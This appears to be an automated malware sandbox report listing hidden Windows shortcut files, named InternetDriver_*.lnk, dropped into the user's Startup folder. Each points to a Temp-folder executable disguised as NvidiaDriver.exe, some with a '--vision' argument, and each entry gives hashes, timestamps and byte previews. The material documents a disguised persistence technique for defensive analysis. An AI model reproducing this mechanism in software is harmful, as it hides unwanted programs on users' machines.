SSDEEP:	24:8nPBetq43HR6JgKA5PK2TXAqmfmOKlNmN3EjkqyFm:8PBetVRVf0qa0lECjtyF
MD5:	85FC168B80C322F866E0CD2151AE9ACA
SHA1:	70FFE24B2F740B793141A668F0F074E634CC6AE0
SHA-256:	86121D178D54B46FF8C0F4C10B2692EFCFBE214425438A33921564AEF268E81B
SHA-512:	3C36A8E09AF1838C500330EBF426B1A7BAC8E305AF2C5A3B3A7A96CCF5F27FA097427545E95DA013CAB7EE34F96BA94D2945FEB13BAAB8BEB996CE3C83D00401
Malicious:	false
Preview:	L..................F...."...'S...I...p...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_9c42162aa6064cf496382fa5fa9e7a59.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:39 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.932614776560447
Encrypted:	false
SSDEEP:	24:8nkBetq43HR6JgKAGsK2TXAqmfmOKlNmN3EjkqyFm:8kBetVRbf0qa0lECjtyF
MD5:	DC71DE47B42073CAD82D19DBA060EDD4
SHA1:	A38FD4A1B6C8750D6930C0509EA9167E810FC6F7
SHA-256:	8A0089BA535039D626592020EA8D674AA184C1246D08F3F8834797B6F5E68FF0
SHA-512:	6E936A983716CA6C58053B3CA47326BC8BCA58CA4772E07671F4587184A54F46953586243021A91F5E8BC2AD54D0E6BCF185EED8419912E639484149E8C73CC4
Malicious:	false
Preview:	L..................F...."...'S...I.......I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_ac3b4eb0820a4042991d922e6cef16b2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:44 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.9399637210517975
Encrypted:	false
SSDEEP:	24:8HxBetq43HR6JgKAGsK2TXAqmfmOKm3EjkqyFm:8RBetVRbf0qa0PjtyF
MD5:	F9ECAA4583EDE4EC1F6BB31D816311DE
SHA1:	FE4118A8E5FAE66925BDE721137140DA1398CEAF
SHA-256:	9693468491CE2C72DC3D2F53ECCF6983F4DB26996778CC508D8CE86EB2CB0525
SHA-512:	6105625ADED835B3C29444B18729314F34503169AA07AD3320082C71AFDCF7B006924FFAAC7331B0439E94A56D14E21A786A71A238F3158103CCA971AED956A9
Malicious:	false
Preview:	L..................F...."...'S...I..w.:..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_ac4144b37c7a4eae9106eb435fb53e9d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:56 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.927442105646314
Encrypted:	false
SSDEEP:	24:8nW2Betq43HR6JgKA5PK2TXAqmfmOKlNmN3EjkqyFm:8RBetVRVf0qa0lECjtyF
MD5:	1D17E301367296CB8FB67B1FE1EAC1DD
SHA1:	ABE7C351BA892AB0159CECAD7796AA3A1779E891
SHA-256:	B03497728B6E58D2A5EA84595291AE5037F76DEEFBC7C68ED650272C319C59AD
SHA-512:	FE722352B6D92704742DC9BD3064A7DD843A9CAAD3AE56E4A0D380DBEFD167EF9228ADBF56BD174FF1BA7E2FAAD958B47366306D49F15C31DAF7CA76CBE6908D
Malicious:	false
Preview:	L..................F...."...'S...I...WS..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_c7fb3b173d3247c7ad4c060c7997efda.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:42 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.933637036410888
Encrypted:	false
SSDEEP:	24:8nE2Betq43HR6JgKAGsK2TXAqmfmOKlNmN3EjkqyFm:8E2BetVRbf0qa0lECjtyF
MD5:	7ECF3EF79740222EC0B8C5331B58B874
SHA1:	D8A31329BB88A6775F0E5CC2831C6D92E4D52D55
SHA-256:	D626D88F7A4FFBAB73185BCD9DA954FE16A5A17F5015F50CE2062439243A0BB5
SHA-512:	12D844B7824EEA8C9D58B523CEEB2CC028979AE6FEE714C5E89B46146A4AD2FBF9157646B3C41C877B81DC6EE493F3590449657AFD8E15D2DE960088119EFF8E
Malicious:	false
Preview:	L..................F...."...'S...I...~...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e...-.-.v.i.s.i.o.n.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_cad9115b911f4737b404433fa80c2364.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:53 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.936912634741496
Encrypted:	false
SSDEEP:	24:8Hy/pBetq43HR6JgKA5PK2TXAqmfmOKm3EjkqyFm:80BetVRVf0qa0PjtyF
MD5:	8AB13C3FAED54FD6CE066FAA7746998F
SHA1:	826AFBE19668C76D3AD42A085A9C6687D8DDB7B0
SHA-256:	B2F1B255802EE19F477FE5264645870AA364D4A5606AD4BAEF611308EBA7C7A4
SHA-512:	6931A49E1E914E1E19E80EF37474E64589BFBD675038BF3E383351759A3715820BFCFFC339D126D18EBC85CB89B74D19E98E2B1E899C8D11FE63478509130057
Malicious:	false
Preview:	L..................F...."...'S...I...2h..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_cdaecd11468d45dea4c17641898fa3be.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:56 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.935568981043915
Encrypted:	false
SSDEEP:	24:8HeBetq43HR6JgKA5PK2TXAqmfmOKm3EjkqyFm:8+BetVRVf0qa0PjtyF
MD5:	CD09D972808FCC413C5B1F9B89AFAAA4
SHA1:	48C3A06D4237BA2335F6E86E4D9A89DA79BD5C11
SHA-256:	F69471EE0D69E8EA05361F4EC54897E08E40C89EEFF6E4853943C25337CE651A
SHA-512:	9E407C41BBFAEEC60ACC7A66DB052F36F108BC5275B97B86E5ECFD195E662CE2E376762F41E8ACCE9EEC8FBC5B2E1ADFF6692F387C2FE10930BE916EA64678E6
Malicious:	false
Preview:	L..................F...."...'S...I....X..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_cef09dcf6b774f79a4710801a7f389d4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:37 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.926830550719154
Encrypted:	false
SSDEEP:	24:8HKBfjq43HR6JgKAQUK2TXAqmfmOKm3EjkqyFm:8qBfjVRRf0qa0PjtyF
MD5:	51E90F0FB8702F207B7441511EAF2A09
SHA1:	BD144AFF71323FF2077DC9D3185CB6127B239FE2
SHA-256:	9FF49E018B0F4BCBE841B9B5E915F5C825F41488D3CE557F61322378B52AD29C
SHA-512:	452B22E045D96E781A42CF08F5AF26BC66A5E2B3922D7BD10E38B6A0D54A7DD35CE4107C1A93997D819CC73572F69DB54DBB4A0AE9180D3055F910994E966176
Malicious:	false
Preview:	L..................F...."...'S...I..'S...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I.......I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.....................zY..T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_d0714fc59c6f40cb8ea795c5e1717a6b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:56 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.937762259748706
Encrypted:	false
SSDEEP:	24:8HfOBetq43HR6JgKA5PK2TXAqmfmOKm3EjkqyFm:8/OBetVRVf0qa0PjtyF
MD5:	A6E3FAF971364B8D307C487C22D9D12B
SHA1:	947659D1337F05D8A7547CFB9D083036493F3CF3
SHA-256:	E5A2124945B3D2E21616C7CBA44A4247776AE9082506A313E67334612CCE984C
SHA-512:	0B44B4B8BC8BDBAFEC9DB6DB4D2C09DBE7F2CF9FDB6F71D78B6E2A4055EDE24A322E64CAB033B541BB77A0299DFAEF607B4223B3232E421C8D28A212F7F7A28D
Malicious:	false
Preview:	L..................F...."...'S...I..?..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_dd570d0f421f4e5797a46bcd9f0fa633.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:52 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.936606574792113
Encrypted:	false
SSDEEP:	24:8HccVBetq43HR6JgKA5PK2TXAqmfmOKm3EjkqyFm:88QBetVRVf0qa0PjtyF
MD5:	58219A92680913B28DE2EB7E443F40D4
SHA1:	BFB7D8348D1824FE38FAC3696F6094B4DB6FACF5
SHA-256:	9C180785BACF09A566B82197051187691CCB0D461B1C413DD5C4962CDCA27DCF
SHA-512:	83E56E9FE4DD72E06886935B45FAC6264A42BAFF0DF699786072BB96DE11DD45209B97C013E7133784F49D9269B2CEE8875A5224D61D1A47B80654B179B64798
Malicious:	false
Preview:	L..................F...."...'S...I......I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_de66a07cc206428089333ea38f399555.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:49 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.934512147640464
Encrypted:	false
SSDEEP:	24:8HZBetq43HR6JgKA5PK2TXAqmfmOKm3EjkqyFm:85BetVRVf0qa0PjtyF
MD5:	49D9C3C1ECAE7B0959B64AB13E4999BE
SHA1:	52190C437D894B9FB441CDF0408279EA7700259A
SHA-256:	45FCD506C6DC7F9B07F8DC5FFDB20C21619AB74F0908C74B4F3ACBC32A0FFEE8
SHA-512:	AAAB68D1079F04FA0196929349B88F04A0AB0EA7BD96D1A41F483425CF6AD53D614244005CE37922AA0BFE02CC1F2ED45F622C28AA30EFE2A8518324D2BC409C
Malicious:	false
Preview:	L..................F...."...'S...I......I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_e2d3d741884b43529853ff8c87ed5336.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:48 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.935057999333844
Encrypted:	false
SSDEEP:	24:8HnpBetq43HR6JgKA5PK2TXAqmfmOKm3EjkqyFm:8JBetVRVf0qa0PjtyF
MD5:	DD1EAC32EDFEFFFD4A49EFAEAC3FDA8E
SHA1:	F3CD7E132805A58A14E6BE06151F118221AA05E3
SHA-256:	6D5987B189530537550983A26FE591C9228C58BF62A99630EA71A61804231AFB
SHA-512:	A54CFE80E4111478622561181CFA09457F0707C7E1F6824BF7491C4EFEDC619B22E52FE134766CF19DADF5B2A37869F2DF991916114E99306D28DD9B3D03C4B2
Malicious:	false
Preview:	L..................F...."...'S...I....,..I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l*.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y...........................Y\|{.N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_e4d4afef04e44d44933a3a176b275626.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:43 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.940391481536779
Encrypted:	false
SSDEEP:	24:8H+Betq43HR6JgKAGsK2TXAqmfmOKm3EjkqyFm:8eBetVRbf0qa0PjtyF
MD5:	18B9321CB34B724D544A8130A63E50BF
SHA1:	4F218F57E500B80AB6A10BAEE0C6C29F911ABE88
SHA-256:	389F8BCAD5BA112D3BA1104A5BCA8EB5C12C0D5D5386D42011134F62FD4D6441
SHA-512:	3B6B74E59E504AA06B28315F17E8F9D94F1ABFDA993BE855E7C69594A4782E677C4EA337744FCE02EF7F69816319385BA270C95E79416816524FED2DD6CD0ECB
Malicious:	false
Preview:	L..................F...."...'S...I...<...I.......I...d......................,.:..DG..Yr?.D..U..k0.&...&......vk.v....U.WI.I..#.t..I......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................l.L.o.c.a.l.....N.1......Y...Temp..:......CW.^.Y.....l.........................T.e.m.p.....b.1......Y...NVIDIA~1..J......Y..Y..............................N.v.i.d.i.a.D.r.i.v.e.r.....n.2..d...Y.".NVIDIA~1.EXE..R......Y..Y...........................zY..N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.......n...............-.......m.............o......C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.v.i.d.i.a.D.r.i.v.e.r.\.N.v.i.d.i.a.D.r.i.v.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......305090...........hT..CrF.f4... ..j[......,.......hT..CrF.f4... ..j[......,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_e6036c26af1d43118879e0a8a36cf924.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Hidden, Archive, ctime=Sun Dec 8 16:06:37 2024, mtime=Sun Dec 8 16:06:45 2024, atime=Sun Dec 8 16:06:37 2024, length=25600, window=hide
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.937943368510917
Encrypted:	false
SSDEEP:	24:8nsBetq43HR6JgKAGsK2TXAqmfmOKlNmN3EjkqyFm:8sBetVRbf0qa0lECjtyF
MD5:	19CE6B2DD0F89EB5C93C423FA1829AF0
SHA1:	5BF52395A06F194817DCDE6B5ECA7FD362D29766
SHA-256:	8A1F7B214235F0AB6DD6F60B66CFBF0042C4885883072C1CB868185F6F4B680F
SHA-512:	C0D7E57C75EC83DF9EBEFC8238140DB5B1393CD1E72900D53540FD142DD9E0C94E7AFF5FA2F57F9CCEB2702C8818690D0C79F5D3D25053969BA1E2A5E95647F9
Malicious:	false
